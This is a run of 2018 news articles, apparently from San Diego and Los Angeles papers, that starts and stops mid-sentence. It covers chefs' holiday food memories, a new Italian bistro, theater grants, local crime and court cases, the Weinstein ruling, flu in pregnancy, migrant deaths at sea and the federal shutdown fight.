is made with dough consisting of potatoes and flour. It is formed into doughnut shapes and deep fried. It is served either plain or with anchovies. We usually eat this dish on the 24th for lunch. According to tradition, it is supposed to be a light snack (they are not light) to prepare your stomach for the big meals to come on Christmas Eve and Christmas Day. When the smell of cuddruriaddri reaches your nose, that is the signal that the three-day feast and celebration has commenced. 1845 India St., Little Italy. (619) 431-5990. civico1845.com Chef Davin Waite, of Wrench & Rodent Seabasstropub and The Whet Noodle in Oceanside, has memories of a proper English supper at the holidays when he was growing up. (Courtesy photo) Even as a child in England, you could find chef Davin Waite in the family kitchen. (Courtesy photo) Davin Waite, England Wrench & Rodent Seabasstropub and The Whet Noodle Most memorable holiday experience or meal: One of my favorite things about the holidays is that we would always have a proper English supper. This included some type of roast meat, gravy, some sort of bird, ham, and my favorite, Yorkshire pudding. Nanas mint sauce was another staple; chopped up mint leaves, onion, malt vinegar and some sugar. My brother, dad and I would cook together all day. Once at the table, we started the meal with English crackers festively wrapped tubes containing small gifts. Dish on the menu that captures your traditions or upbringing: As a nod to the motherland, our tempura batter at Wrench & Rodent is a version of fish and chip batter. Also, in the days after Thanksgiving and Christmas, we would use the turkey carcass to make English-style curry. As a shout to this tradition, we are featuring a turkey curry ramen at The Whet Noodle. I have been on a secret mission to make mushy peas, an English staple, cool in California. Upcoming for The Plot, our forthcoming plant-based, zero-waste restaurant: carrots steeped in kelp broth and battered in a vegan fish and chip batter, served with mushy peas. 1815 S. Coast Highway, Oceanside. (760) 271-0531. seabasstropub.com. 1813 S. Coast Highway, Oceanside. (760) 453-2738. thewhetnoodle.com As a nod to his upbringing, chef Davin Waite has created a dish of battered carrots atop mushy peas. Mushy peas are an English staple and Waite is on a mission to make them cool in Cali. (Courtesy photo) Chef Claudette Zepeda-Wilkins honors the women of the Mexican kitchen, including her mother, grandmother and aunt, at her Liberty Station restaurant El Jardin. (Courtesy photo) Claudette Zepeda-Wilkins, Mexico El Jardin Most memorable holiday experience or meal: Growing up, our holidays were always filled with delicious food it was at the center of our family gatherings and part of what inspired me to embark on my path to become a chef. Ultimately, however, my most memorable experience was having my family come to El Bizcocho while I was the pastry chef there. I felt good treating my parents to a fine dining meal that I was a part of. My parents hadnt eaten where I had worked up to that point, so it made me proud to be able to share something I had created with them. Dish on the menu that captures your traditions or upbringing: My moms albondigas and the pozole are the biggest time warp dishes currently on the menu at El Jardin. The arroz a la asturiana on our dessert menu is also one of the dishes that takes me back to my childhood. We are currently serving it with poached quince. 2885 Perry Road, Liberty Station. (619) 795-2322. eljardinrestaurantbar.com Even as a young girl, chef Claudette Zepeda-Wilkins approached food with gusto. Shes seen here with her grandmother Paula Valadez-Rodriguez. The chef calls her cooking grandma chic. (Courtesy photo) The Jalisco-style pozole rojo at El Jardin is inspired by chef Claudette Zepeda-Wilkins mother. Mr. As chef Stephane Voitzwinkler hails from Alsace, in the northeast of France, where his family holiday memories include shucking oysters, from the northwest region of Brittany, with his dad. (Courtesy photo) Stephane Voitzwinkler, France Mister As Most memorable holiday experience or meal: In my hometown in the Alsace region of France, many of my holiday memories are centered around oysters. My hometown was a twin city of Brittany, on the coast of France. During the holidays, we received a plentiful amount of oysters from them in exchange for the wine that we produced. These oysters would come in large wooden crates. During the holidays, Id go down to the laundry room in the basement, which had a big sink, where I learned to shuck oysters with my dad. Wed then eat them simply with a squeeze of lemon. The oysters were so fresh that you could tell they were still alive based on how they reacted to the acidity of the lemon. Wed also treat ourselves to foie gras served on white Pullman bread during the holiday time. This was a delicacy that I always looked forward to enjoying. Finally, wed pop open a bottle of cremant dAlsace and toast to the holidays. Dish on the menu that captures your traditions or upbringing: Tartiflette with pork belly and prosciutto accurately captures my childhood. I was raised in the valley of Muenster cheese and the cheese is made from cows raised in Alsace. This is a typical winter French dish, indulgent and rich. 2550 Fifth Ave., Bankers Hill. (619) 239-1377. asrestaurant.com Chef Danilo DJ Tangalin infuses his Filipino heritage into the cuisine of Bivouac Ciderworks, in North Park, with dishes like fried chicken adobo. (Eduardo Contreras / San Diego Union-Tribune) DJ Tangalin, the Philippines Bivouac Ciderworks Most memorable holiday experience or meal: Filipinos are known for their hospitality and during the holiday season its a Filipino tradition to open up your doors for your friends and neighbors, not just your family members. I remember going from house to house checking out what everybody cooked for the night and eating with neighbors and meeting new people. One of my favorite things to eat growing up in the Philippines is a dish called suman, which is a sticky rice cooked with coconut milk wrapped in banana leaf and then steamed. You open up the banana leaf and sprinkle brown sugar on it and the steam from the rice melts the brown sugar. Dish on the menu that captures your traditions or upbringing: Nothing really says Filipino food more than adobo. We have a fried chicken adobo with rice cake bibingka and seasonal fruit jam on our menu that a lot of people really enjoy. 3986 30th St., North Park. (619) 725-0844. bivouaccider.com The adobo fried chicken at Bivouac Ciderworks is made with crispy chicken thighs, mango-papaya chutney and bibingka rice cake. Pair it with one of the craft ciders for a modern meal. (Courtesy photo) michele.parente@sduniontribune.com Twitter: @sdeditgirl One year ago, Lucia Celi was working as a lawyer in Milan, Italy, and her husband, Francesco Guardini, was a plumber. The young Italian couple was financially secure, but their jobs didnt align with their dreams. So they sold everything they owned, moved to California and started a new life in the Gaslamp Quarter, where they opened Mattarello Cooking Lab on Nov. 1. Situated in a sunny, 22-seat corner space at Sixth Street and Island Avenue, Mattarello the Italian word for rolling pin is a bistro specializing in housemade pastas, pastries and focaccias. It will also soon offer hands-on Italian cooking classes. Guardini, 33, built all of the restaurants furniture, decor, service counter and cook spaces by hand. Celi, 28, is the chef. They live in an apartment just upstairs from the restaurant, which Guardini said has been a blessing, since they both average 18-hour workdays. But theyre not complaining. Advertisement We got to San Diego and fell in love with the city, he said. Everyone has been so neighborly and friendly. The exterior of Mattarello Cooking Lab, an Italian bistro that opened Nov. 1 in San Diegos Gaslamp Quarter. (Pam Kragen/San Diego Union-Tribune) Celi was raised in Naples and Calabria and spent many years cooking and learning family recipes in her grandfathers restaurant on the island of Capri. She went to law school with the long-term goal of becoming a judge. But she found studying law more fun than practicing it, so a couple of years ago she began moonlighting as a baker, running two small Italian pastry shops near the Duomo in Milan. At an airport three years ago, she met Guardini, who hails from Verona, and they fell in love. The couple honeymooned in Florida and New Orleans and fell in love with America. But they were drawn to the healthier lifestyles of the West Coast. Initially, they planned to open a restaurant in San Francisco but found it too costly and urban. So they got in their car and drove south on Highway 1, visiting cities along the way until they ended up in San Diego in August and decided to stay. A plate of chef Lucia Celis housemade pasta and pesto sauce at Mattarello Cooking Lab in the Gaslamp Quarter. (Courtesy photo) The original plan for Mattarello Cooking Lab was to specialize in serving American/Italian breakfast. When they realized the Gaslamp was chockablock with brunch spots, they decided to serve only lunch and dinner. The lunch menu features panini-style sandwiches featuring Celis grandmothers meatball and other heirloom recipes. The dinner menu includes appetizers, salads, a variety of $5 focaccias and housemade pasta dishes in the $15 to $17 range. There are also a variety of $8 Italian pastries and chilled desserts like tiramisu, lemon sorbet and cannoli. Celi makes about 25 pounds of fresh pasta every day. As business grows, she will add ready-to-cook pastas to go. Shes also now taking reservations for cooking classes on Saturday and Sunday mornings, starting with a beginners class in pasta-making. The pasta dish for which Celi is best known is carbonara. Guardini said many high-volume Italian restaurants dont serve the labor-intensive dish because its egg-and-pecorino cheese sauce must be made to order. Its her masterpiece, he said. The whole thing has to come together in two or three minutes and a lot can go wrong. Its an exercise in style. Mattarello Cooking Lab Hours: 11 a.m. to 10 p.m. daily Where: 518 Sixth Ave., Gaslamp Quarter Phone: (650) 534-8019 Online: mattarellocooking.com pam.kragen@sduniontribune.com. Twitter: @pamkragen The growing arts-engagement efforts at both the Old Globe Theatre and La Jolla Playhouse have earned big financial boosts once again from the James Irvine Foundation, which has awarded a $1.9 million grant to the Globe and $1.3 million to the Playhouse. The recently announced grants represent the second three-year cycle of funding for the San Diego theaters from the foundations New California Arts Fund. The grant to the Globe is $175,000 larger than that awarded in 2015, while the Playhouses is $250,000 smaller. The money will go toward supporting a range of programs that endeavor to further connect the two institutions with the community. Advertisement At the Globe, those include the flagship Globe for All initiative, which takes Shakespeare plays to people who otherwise dont have ready access to the arts. The New California Arts Fund backing has helped us to develop and adopt a new strategic plan focusing on theater as a public good, and on the creation of public value through our art form, said Barry Edelstein, the Balboa Park theaters Erna Finci Viterbi artistic director. Weve forged deep, ongoing partnerships with 24 community-based not-for-profits and governmental agencies serving low-income and diverse individuals and families throughout the region. Last year alone, our free, participatory arts-engagement programs made theater matter to over 37,000 people. The Globe is a national leader in this work, and the Irvine Foundation is a fundamental reason why. We are deeply grateful. Besides the Globe for All program which this year toured a production of A Midsummer Nights Dream to 17 locations the theaters arts-engagement efforts take in the Community Voices playwriting program; a technical-theater apprentice program for military veterans and family members; and Shakespeare-based writing and performing workshops for prison inmates, among other initiatives. A scene from La Jolla Playhouses Without Walls production of What Happens Next. (Jim Carmody) At the Playhouse, managing director Debby Buchholz said the New California Arts Fund grants have allowed the theater to significantly expand and sustain authentic, mutually beneficial community programming and engagement activities, such as South of the 8, during which we partnered with Ping Chong + Company to highlight the stories of young adults from Southeast San Diego and surrounding areas, and Naomi Iizukas What Happens Next, produced in partnership with Cornerstone Theater Company (another NCAF recipient), in which local veterans were featured performing alongside seasoned actors. These vital funds have also helped the Playhouse grow its acclaimed Without Walls (WOW) series, mounting numerous productions and three WOW Festivals of immersive and site-based work in unique spaces around the city. These programs, along with the success of such military outreach initiatives as the Veterans Playwriting Workshop, have helped us toward our goal of becoming a vital arts resource for the city, reaching San Diegans in the communities in which they live. jim.hebert@sduniontribune.com Twitter: @jimhebert Its the time of year for the Italian Cultural Center of San Diegos annual holiday potluck. Members, family and friends are invited to this holiday celebration of Italian culture with plenty of food, live music by Jim Bianchi, prizes and more. Among the prizes for the raffle are an hour of Italian conversation with a teacher, gift cards, food and other prizes; and scholarships to attend the Il Sasso Italian Language School in Tuscany (raffle tickets range from $3 to $15). Festa di Natale 2018: 6 to 8 p.m. Friday. House of Pacific Relations Hall of Nations, 2191 Pan American Road West, Balboa Park. $10. (619) 237-0601. icc-sd.org A man wanted by San Diego police in the October slaying of a good Samaritan on Interstate 15 was captured in Mexico on Tuesday and turned over to U.S. authorities, police said. Investigators believe Edson Acuna, 24, fled to Mexico some time after the Oct. 27 slaying of 21-year-old Navy man Curtis Adams on southbound I-15, San Diego police homicide Lt. Anthony Dupree said. Adams was driving with his girlfriend in the Logan Heights neighborhood when he stopped about 2:20 a.m. to help what he thought was a stranded motorist, Dupree said. Adams was shot immediately as he exited his vehicle. Edson Acunas brother Brandon Javier Acuna, 21 was taken into custody and questioned shortly after the shooting. He was arrested later and charged with murder, robbery, burglary and shooting at an inhabited vehicle. Two other people Harvey Elias Liberato, 24, and Susana Galvan, 38 were arrested and charged in connection with the shooting shortly afterward. Advertisement Detectives subsequently identified Edson Acuna as a suspect, and a warrant was issued for his arrest on suspicion of murder, Dupree said. On Tuesday, Mexican authorities located Acuna and took him into custody before delivering him to U.S. authorities at the border, Dupree said in a statement. Acuna was booked into San Diego Central Jail on Tuesday afternoon and was being held without bail, according to jail records. He was also booked on suspicion of murder, robbery, burglary and shooting at an inhabited vehicle, plus an additional count of being a felon in possession of a firearm. Liberato is facing murder, robbery and burglary charges and was being held without bail Tuesday. Galvan is suspected of being a criminal accessory in the case, according to prosecutors and jail records. She was being held in lieu of $100,000 bail. Brandon Acuna was in court for a routine appearance in the case Tuesday. Adams was a first-generation American whose parents immigrated to New York from the West Indies, according to his cousin, Desmond Abrams Jr. Adams enlisted in the Navy in 2016. He was a steelworker with Amphibious Construction Battalion 1 and was stationed at Naval Amphibious Base Coronado, military officials said. He was very excited about deploying and doing his job with the Navy, Abrams said in October. He loved the uniform. He was really proud of being a sailor. City News Service contributed to this report. Riggins writes for the San Diego Union-Tribune. alex.riggins@sduniontribune.com A judge in New York City on Thursday rejected a motion to dismiss charges of sexual assault against former Hollywood titan Harvey Weinstein. For months, Weinsteins legal team had attacked the reliability of his accusers and questioned the conduct of the New York Police Department and prosecutors. But for all the bluster, a hearing Thursday in Manhattan at which hundreds of pages of dismissal motions were rejected lasted fewer than 10 minutes. Supreme Court Judge James Burke explained his ruling to the attorneys out of earshot of the gallery, and then set a pretrial hearing for March. Weinstein left the courthouse without answering shouted questions from reporters. Weinstein has been under intense scrutiny since October 2017, when dozens of women came forward to accuse him of a wide array of misconduct. He was arrested by the NYPD in May and charged with six counts of sexual assault in Manhattan. Prosecutors said he forced former actress Lucia Evans to perform oral sex on him in 2004; attacked another woman, Mimi Haleyi, in 2006; and sexually assaulted an unidentified woman in a hotel in 2013. Advertisement The Times typically does not name women who make accusations of sexual assault, but Haleyi and Evans have told their stories in public. Prosecutors dropped the charge related to Evans accusation in October after questions were raised about inconsistencies in her testimony. Weinsteins attorney, Benjamin Brafman, has since argued that Evans perjured testimony poisoned a grand jury against the movie mogul and called for all charges to be dropped. In court filings, Brafman also has pointed to email communications that took place between the remaining accusers and Weinstein after the dates of the alleged assaults. In one case, Brafman claims, an accuser attended a movie screening with Weinstein mere hours after she said he assaulted her in 2013. The emails demonstrate that these women who now allege sexual assault by Mr. Weinstein have for years engaged in loving and often intimate conversations with him before and after the date of the alleged assault, Brafman wrote in a November filing. Brafman has also alleged misconduct by police during the investigation and accused prosecutors of presenting an incomplete case to the grand jury. In a six-page decision, Burke slapped down each of Brafmans arguments. There was no basis for Brafmans accusations of law enforcement malfeasance, according to the ruling, and Burke found that the charges presented in the Grand Jury were supported by competent evidence and the proceedings were properly conducted. He also ruled the dismissal of the charge stemming from Evans accusation had no bearing on the other charges. The discovery of the email communications between Weinstein and his accusers that took place after the alleged assaults were not grounds for dismissing the indictment either, Burke ruled. The judge deemed witness credibility as an issue to be determined at trial. During a brief news conference on the courthouse steps, Brafman said Burkes ruling was disappointing but called it a technicality. Brafman said he remains confident that Weinstein will be acquitted if the case goes to trial. He lauded the ideals of fighting sexual harassment, but accused the #MeToo movement of pressuring the Manhattan district attorneys office into filing charges against his client. If the MeToo movement helps level the playing field for women throughout the world, we are strongly supporting that movement. A movement should not, however, be permitted to push an indictment that is deeply flawed as we believe this movement has done, Brafman said. We are defending Harvey Weinstein on specific charges. We arent defending behavior. In addition to the Manhattan charges, Weinstein also remains the target of several civil lawsuits and faces potential prosecution in Southern California. Police in Los Angeles and Beverly Hills have built assault cases against Weinstein, and those cases have been presented to the Los Angeles County district attorneys office. Prosecutors there have yet to make any filing decisions. The Manhattan district attorneys office declined to comment on Burkes ruling Thursday, but in past court filings, prosecutors have repeatedly scoffed at Brafmans assertions and claimed he was trying to wage a public relations campaign. Legal experts have pointed out that the continued communications between the accusers and Weinstein are far from exculpatory, considering the women had aspirations in Hollywood, where Weinstein wielded considerable influence. Experts also said that the strategy being used by Weinsteins legal team of attacking the credibility of his accusers could be viewed as offensive to any potential jury pool. Gloria Allred, the well-known civil rights attorney who is representing Haleyi, pointed out that Weinsteins legal strategy seems similar to the approach employed by Bill Cosbys legal team in recent years. Cosby, she noted, now sits in a jail cell. Thats what they do, always try to put the victim on trial, Allred said outside court Thursday. Times staff writer Richard Winton contributed to this report. james.queally@latimes.com Twitter: @JamesQueallyLAT A man suspected of pushing a teenage boy onto the Metro Red Line tracks Wednesday morning died after being taken into custody by officers, according to the Los Angeles Police Department. Police responded to a report of an assault about 9:20 a.m. at 5th and Flower streets in downtown Los Angeles. When officers arrived, they found a man being detained by a group of construction workers, LAPD Officer Mike Lopez said. Police took the man into custody, using what they described as less-than-lethal force firm grips and body weight. Meanwhile, at Pershing Square, transit officers notified LAPD of an incident they think involved the same man who had just been arrested. Police said the man had fled the Red Line station at 5th and Hill streets after he pushed a 14-year-old boy onto the tracks. Bystanders helped pull the boy onto the platform before the train arrived, which officials said was less than a minute away. Advertisement The man then fled and got into a fight with a construction worker, police said. He was detained by other workers until authorities arrived. After being taken into custody, the man suffered a medical emergency and was taken to a hospital, where he was pronounced dead, Lopez said. Los Angeles police detectives are now investigating the death of the man, who was described as being in his late 20s. Lopez said the Los Angeles County coroners office would determine the mans identity as well as his cause of death. The attack at the Red Line station was eerily similar to an unprovoked assault two weeks ago, when a man was shoved into a street, where he was struck by a truck and seriously injured. Prosecutors have charged 41-year-old Garrett Joseph Boldt with attempted murder in that case. ruben.vives@latimes.com Twitter: @latvives Los Angeles police investigators sought help from the public Wednesday in locating and identifying a man suspected of stabbing a 58-year-old homeless man to death in downtown Los Angeles last month. The deadly stabbing occurred on Nov. 6 on West 9th Street between Hope Street and Grand Avenue. Police said Fernando David Perez was sitting on a bench about 8:30 p.m. when a tall, thin white man in a gray hooded sweatshirt began attacking him before walking away with a backpack. Los Angeles Det. Jason Sharman said Perez was stabbed multiple times with what appeared to be a screwdriver or ice pick. Advertisement Perez was taken to a local hospital, where he died two days later. Coroners officials determined that Perez died from a stab wound to the back. Police released video footage of the stabbing and the man they suspect killed Perez and offered a $50,000 reward for information leading to his arrest and conviction. In the video, Perez appears to be sitting inside Grand Hope Park when the attacker approached and stabbed him. Perez falls to the ground and is stabbed two more times. At one point, the man rushes over to pick up a dark-colored backpack that dropped to the ground when Perez fell. The suspect then appears to stab Perez again before he flees. Its unclear what motivated the attack. About 10 minutes before the stabbing, video surveillance footage showed Perez picking up a dark backpack about a block from where he was attacked. Investigators dont know whether Perez owned the backpack, or if he picked up the suspects backpack and walked away with it, Sharman said. In another video clip, the suspect is seen with a dark-haired young woman, standing in front of a vending machine and then heading down an escalator at the 505 Flower building, about five blocks from the stabbing site. In that video, the suspect has a dark-colored backpack on his shoulder. Investigators believe the pair were in the area for some time prior to the stabbing, but they dont believe they were homeless. Investigators said the man is about 6-foot-3 and was wearing jogging-style pants and black shoes with white soles. Earlier in the afternoon, he was wearing a T-shirt with an unknown logo on the front and a purple or light-blue hat with a white logo. The woman accompanying him wore a long-sleeved shirt, black pants with white stripes, a dark-colored hat and white shoes, and was carrying a black backpack. One witness saw a lime-green Chevy Spark with Florida license plates near the scene, Sharman said, but was not sure whether the slaying suspect left in the vehicle. Either way, investigators said they would like to speak to the driver of that vehicle. Anyone with information is asked to call Central Homicide detectives at (213) 996-1878. Those wishing to remain anonymous should call Crime Stoppers at (800) 222-8477. Canadian Prime Minister Justin Trudeau says his government is trying to get more information about a third Canadian citizen detained in China. Two others were taken into custody shortly after Canadian police arrested a top Chinese telecom executive on a U.S. warrant Dec. 1. Meng Wanzhou is accused of evading U.S. sanctions against Iran. Trudeau said during a news conference Wednesday he does not believe the third detention of a Canadian has any ties to the other cases, calling it "a very separate case." He was asked why his government appears not to be doing more to get the Canadians freed. "Canadians understand that even though political posturing might be satisfactory in the short term to make yourself feel like you're stomping on a table and doing something significant, it may not directly contribute to the outcome we all want," he said. Although Canadian officials have not directly tied the detentions in China to Meng's arrest, former Canadian ambassador to China, David Mulroney, finds that unlikely. "One detention is bad enough. Two is terrible. Three underlines how ruthless China can be. It serves as a reminder for people that China is a detention state," he said. Along with the third still-unidentified Canadian, former diplomat Michael Kovrig and business consultant Michael Spavor are also being detained. A fourth person arrested in the fatal shooting of a good Samaritan along a freeway in Logan Heights was charged Wednesday as the killer. Edson Acuna, 24, faces one count of murder with a special circumstance allegation that the murder was committed during a robbery. He also was charged with an allegation that he personally used a firearm. He faces life in prison without the possibility of parole if convicted. Curtis Adams, a 21-year-old Navy man, was shot on Oct. 27 when he stepped out of his car on southbound Interstate 15 to help a motorist parked along the shoulder. Adams girlfriend was with him but was unharmed. Advertisement Acunas brother, Brandon Acuna, 21, was arrested shortly after the shooting, along with Susana Galvan, 38. A third suspect in the case, Harvey Liberato, 24, was arrested later. Edson Acuna, a U.S. citizen, is alleged to have fled to Mexico after the slaying. Mexican authorities arrested him and turned him over to San Diego police homicide investigators on Tuesday. Acuna entered a not guilty plea at his Wednesday arraignment in San Diego Superior Court. Judge Jay Bloom ordered Acuna to remain jailed without bail. Deputy District Attorney Melissa Vasel said Brandon Acuna and Liberato have been charged with murder, while Galvan is charged as an accessory after the fact. The prosecutor said the three men also are suspected in a separate shooting incident in the Mount Hope neighborhood about 10 minutes before Adams was gunned down. Police said a man on Boundary Street came across men trying to break into his vehicle. They fired several rounds at him and drove away. The Acuna brothers and Liberato are charged with shooting at an inhabited dwelling or vehicle, robbery and burglary in that case, the prosecutor said. Adams was a first-generation American whose parents were from the West Indies and immigrated to New York, according to his cousin, Desmond Abrams Jr. Adams enlisted in the Navy in 2016. He was a steelworker with Amphibious Construction Battalion 1, and was stationed at Naval Amphibious Base Coronado, military officials said. He was very excited about deploying and doing his job with the Navy, Abrams Jr. said in October. He loved the uniform. He was really proud of being a sailor. pauline.repard@sduniontribune.com Twitter: @pdrepard An ex-con who was living in a City Heights sober living house raped a neighbor and was caught with her underpants under his mattress, a prosecutor said in court Wednesday. Juan Guzman, 35, appeared in San Diego Superior Court and pleaded not guilty to charges that included forcible rape, forcible oral copulation, rape during a residential burglary and allegations of using a knife during the crime. He faces a maximum sentence of 70 years to life in prison if convicted of all charges, Deputy District Attorney Jessica Coto said. Coto said Guzman was living in a sober living halfway house toward the east end of Landis Street. Prosecutors allege that he left the home about 1:40 a.m. on Sunday, dressed in dark clothes, gloves and a beanie, and slipped into his neighbors home. Advertisement A 21-year-old woman and her boyfriend were living in a small house behind another house on the property. Her door was unlocked, as she expected her boyfriend to arrive home, Coto said. As the woman sat on her bedroom floor in her nightie, looking into a mirror to remove her makeup, she saw a strangers face reflected in the mirror. The man stepped into the room with a knife, put his finger to his lips and told her, Shhh, Coto said. Then, the prosecutor said, the man turned off the lights, pulled off the womans underpants and raped her. When he finished sexually assaulting her, he ran out. The woman called police right away, the prosecutor said. Within minutes, tips coming in to police led them to check Guzmans room at the halfway house next door. Coto said officers found the victims underpants and a knife under his mattress. He was arrested that day. Judge Jay Bloom set Guzmans bail at $2 million, at the prosecutors request. She said Guzman has three previous convictions for which he served time in prison. The convictions were in North County cases involving weapons charges in 2014 and 2016 and for assault resulting in great bodily injury in 2017. Guzman was on post-release supervision at the time of his arrest Sunday. The current charge of rape during a burglary while armed counts as a strike that could result in a stiffer prison sentence, Coto said. pauline.repard@sduniontribune.com Twitter: @pdrepard A former Yuma police officer was found guilty Wednesday of raping and sexually assaulting a 23-year-old woman related to him by marriage during a family get-together in San Diego last year. After nearly four days of deliberation, jurors convicted 34-year-old Jared Elkins of one count each of forcible rape and sexual penetration by force and two counts of oral copulation by force. He was acquitted of rape, oral copulation and sexual penetration of an intoxicated person. Elkins faces 14 years in prison when he is sentenced March 8 in San Diego Superior Court, said Deputy District Attorney Lisa Fox. Obviously, the fact that he was a law enforcement officer and carried a weapon was significant for the victim in this case, because she believed that he would carry through with his threats and why she was so afraid of him, Fox said outside court. And I think the jury found that the evidence did clearly support that she was afraid of him . Advertisement Fox told jurors that the victim had known Elkins for years. She trusted him, the prosecutor said in her closing argument. Shes in her own home. After dinner and a night of drinking with other family members, Elkins and the victim were sitting on a couch watching a movie when she decided to go to bed about 1:30 a.m. on Sept. 15, 2017, Fox told the jury. Elkins went into the womans room, forced sex acts on her, then raped her, threatening to kill her if she screamed, the prosecutor said. Fox said the victim waited until she thought Elkins was asleep in another room, then woke up her mother and the two jumped out a window and ran off, with the mother calling 911. Elkins said he was awakened the next morning by a call from the San Diego Police Department, telling him to come outside, where he was arrested. He later resigned from the Yuma Police Department. A 51-year-old Yuma woman testified that Elkins tried to force anal sex on her after a night out in March of this year in their hometown. The woman said she called the San Diego County District Attorneys Office after seeing the San Diego case on television. Elkins does not face charges in that case. He testified that the sex he had with the woman in Kensington was consensual and that he didnt force her to do anything or threaten to kill her. He testified that she came on to him by cuddling on the sofa during the movie. Defense attorney Ellis Trip Johnston told the jury that the case was driven by fear of the victim knowing she had just slept with the husband of a relative. Johnston said the victim may have known the defendant better than she had let on and may have had more to drink than she told authorities. It didnt add up, Johnston told the jury. She lied about the amount of alcohol she had. Johnston said the victim was taking prescription drugs for anxiety and depression and the alcohol she drank may have caused her to have feelings of regret and of others finding out that she had sex with Elkins. Flu infections recently threatened the pregnancies of two San Diego County women, landing both of them in local intensive care units for a total of 25 days, according to the latest weekly influenza public health update released Wednesday. Both women were in the third trimesters of their pregnancies and each required a breathing tube during their hospital stays, according to the countys report, which also notes that neither mother-to-be received her flu shot. Changes in the heart, immune system and lungs that women experience during pregnancy make them more susceptible to severe flu complications than women of child-bearing age who are not pregnant, making vaccination a critical protective defense for anyone who is expecting. For privacy reasons, the county Health and Human Services Agency releases few personal details about local flu cases, but it did say Wednesday that one of the women who was hospitalized was 40 years old and was in a local intensive care unit for 14 days with a type A influenza infection of unspecified subtype. The second woman was 30 years old, spent nine days in the hospital, and contracted the H1N1 strain. Advertisement The high fevers commonly associated with the flu are known to cause neural tube defects and other developmental problems with unborn children. Its not clear, however, whether any such issues were involved in the two cases cited by the county health department. No information was released on whether the two women are still hospitalized, whether theyve given birth yet or their city of residence. Flu vaccination for pregnant women has been found safe by several different studies though the live attenuated vaccine commonly available as a nasal spray is not recommended. Flu shots, which are deemed safe, can be administered in any trimester of pregnancy. Though the two cases show just how dangerous the flu can be, the countys latest report indicates that the current season continues to be less severe than it was in late 2017 and early 2018 when the San Diego region reported 342 flu-related deaths. A total of 940 confirmed flu cases have been reported this season, significantly fewer than the 1,641 reported through the second week of December last year. The percentage of emergency department visitors with flu-like symptoms is also two percentage points lower than it was by mid-December last year. However, the number of flu-related deaths reported so far this year sits a six, one more than it was during the same time frame in 2017. Health Playlist On Now Video: Why aren't Americans getting flu shots? 0:37 On Now Video: Leaders urge public to help extinguish hepatitis outbreak On Now San Diego starts cleansing sidewalks, streets to combat hepatitis A On Now Video: Scripps to shutter its hospice service On Now Video: Scripps La Jolla hospitals nab top local spot in annual hospital rankings On Now Video: Does a parent's Alzheimer's doom their children? On Now Video: Vaccine can prevent human papillomavirus, which can cause cancer 0:31 On Now 23 local doctors have already faced state discipline in 2017 0:48 On Now EpiPen recall expands On Now Kids can add years to your life paul.sisson@sduniontribune.com (619) 293-1850 Twitter: @paulsisson Spains Maritime Rescue Service on Thursday found 11 dead migrants in a boat off the countrys southern coast and rescued 33 other passengers, one of whom later also died. All of the migrants were from sub-Saharan Africa, a spokeswoman with the service told the Associated Press. A tweet sent Thursday by the Spanish Red Cross said that two women, one of them pregnant, were among those who died. Rescuers had been looking for the boat about 11 miles south of the city of Almeria for two days, said the Maritime Rescue Service official, who was not authorized to be named in media reports. A Spanish navy scientific research vessel found the drifting boat in the area, east of the Strait of Gibraltar, in the early hours of Thursday. Advertisement Twenty-nine men and four women were still alive on board, but one of the men later died in a hospital in Almeria. The service said its also looking for three more boats in the so-called Alboran Sea, two of them carrying more than 55 migrants each. According to the U.N., more than 61,500 migrants, who often flee violence or poverty, have arrived in Spain since the beginning of 2018, nearly 55,000 of them by sea. President Donald Trumps demand for border wall funds hurled the federal government closer to a shutdown as House Republicans approved a package Thursday with his $5.7 billion request that is almost certain to be rejected by the Senate. The White House said Trump will not travel to Florida on Friday for the Christmas holiday if the government is shutting down. More than 800,000 federal workers will be facing furloughs or forced to work without pay if a resolution is not reached before funding expires at midnight Friday. The shutdown crisis could be one of the final acts of the House GOP majority before relinquishing control to Democrats in January. Congress had been on track to fund the government but lurched Thursday when Trump, after a rare lashing from conservative supporters, declared he would not sign a bill without the funding. Conservatives want to keep fighting. They warn that caving on Trumps repeated wall promises could hurt his 2020 re-election chances, and other Republicans as well. The House voted largely along party lines, 217-185, after GOP leaders framed the vote as a slap-back to Nancy Pelosi, who is poised to become House speaker on Jan. 3 and who had warned Trump in a televised Oval Office meeting last week that he wouldnt have the votes for the wall. Advertisement Now we find compromise, House Majority Leader Kevin McCarthy, R-Calif., said. We have time right now to get it done. The government funding package, which includes nearly $8 billion in disaster aid for coastal hurricanes and California wildfires, now goes to the Senate, where its prospects are grim amid strong opposition from Democrats. Sixty votes are needed to approve the bill there. Senate Majority Leader Mitch McConnell, R-Ky., warned senators they may need to return to Washington for a noontime vote Friday. Many senators already left town for the holidays. The Senate approved a bipartisan bill late Wednesday to keep the government temporarily funded, with border security money at current levels, $1.3 billion, and no money for the wall. The House had been expected to vote on it Thursday. The most likely possibility Friday is that the Senate strips the border wall out of the bill but keeps the disaster funds and sends it back to the House. House lawmakers said they were being told to stay in town for more possible votes. With Pelosis backing, the Senate-passed bill likely has enough support for House approval with votes mostly from Democratic lawmakers, who are still the minority, and some Republicans. Others were not so sure. I dont see how we avoid a shutdown, said retiring Rep. Dennis Ross, R-Fla. Rep. Mark Meadows, R-N.C., the chairman of the conservative Freedom Caucus, said he was not convinced after a White House meeting with GOP leaders that Trump would sign the Senate bill. I looked him in the eyes today, and he was serious about not folding without a fight, Meadows said. Trumps sudden rejection of the Senate-approved legislation, after days of mixed messages, sent Republican leaders scrambling for options on Capitol Hill days before Christmas. House Speaker Paul Ryan, exiting the hastily called meeting with Trump at the White House, said, Were going to go back and work on adding border security to this, also keeping the government open, because we do want to see an agreement. By afternoon, Trump shifted his terminology, saying hes not necessarily demanding a border wall but steel slats which is similar to the border security fencing already provided for in the bill. We dont use the word wall necessarily, but it has to be something special to do the job, Trump said at a farm bill signing at the White House. The nuance could provide Trump a way to try to proclaim victory. The bill would keep funding at current levels for border security, including pedestrian fencing and replacement fences, but not the wall. It requires previously used designs. Democratic leaders have made clear they will not budge on their opposition to the border wall that Trump campaigned on saying Mexico would pay for it. Mexico has refused The Trump temper tantrum will shut down the government, but it will not get him his wall, said Senate Minority Leader Chuck Schumer. Democrats favor border security, Schumer said, but he denounced the wall as ineffective, unnecessary and exorbitantly expensive. McConnell met with Ryan after the House leaders returned from the meeting with Trump. Ryan and McCarthy had endured complaints during a private morning meeting earlier Thursday from rank-and-file Republicans in the Capitol that they were closing out their majority without a fight on a major issue. Trump interrupted the basement session with a phone call to Ryan, and then the president lashed out at Republican leaders on Twitter. Ryan had promised a big fight after Novembers midterm elections, but as Republicans lost House control, negotiations over the year-end spending bill have 